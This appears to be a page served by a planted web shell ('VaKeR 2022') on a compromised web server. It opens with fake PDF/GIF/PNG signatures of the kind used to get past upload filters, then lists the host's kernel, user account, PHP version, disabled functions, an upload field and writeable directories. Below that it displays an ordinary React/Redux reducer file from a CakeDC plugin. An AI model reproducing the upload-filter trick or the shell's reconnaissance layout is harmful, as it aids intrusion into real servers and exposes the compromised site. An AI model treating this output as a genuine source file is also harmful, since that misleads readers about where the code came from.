%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/PluginButtons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/PluginButtons/reducers.js
import { REQUEST_INSTALL, RECEIVE_INSTALL, REQUEST_UNINSTALL, RECEIVE_UNINSTALL, REQUEST_UPDATE, RECEIVE_UPDATE } from './actions'

const initialState = {
    query: '',
    isFetching: false,
    data: null
}

const pluginButtons = (state = initialState, action) => {
    switch(action.type) {
        case REQUEST_INSTALL:
            return Object.assign({}, state, {
                isInstalling: action.name
            })
        case RECEIVE_INSTALL:
            return Object.assign({}, state, {
                isInstalling: false,
                data: action.data
            })
        case REQUEST_UNINSTALL:
            return Object.assign({}, state, {
                isInstalling: action.name
            })
        case RECEIVE_UNINSTALL:
            return Object.assign({}, state, {
                isInstalling: false,
                data: action.data
            })
        case REQUEST_UPDATE:
            return Object.assign({}, state, {
                isInstalling: action.name
            })
        case RECEIVE_UPDATE:
            return Object.assign({}, state, {
                isInstalling: false,
                data: action.data
            })
        default:
            return state
    }
}

export { pluginButtons }

VaKeR 2022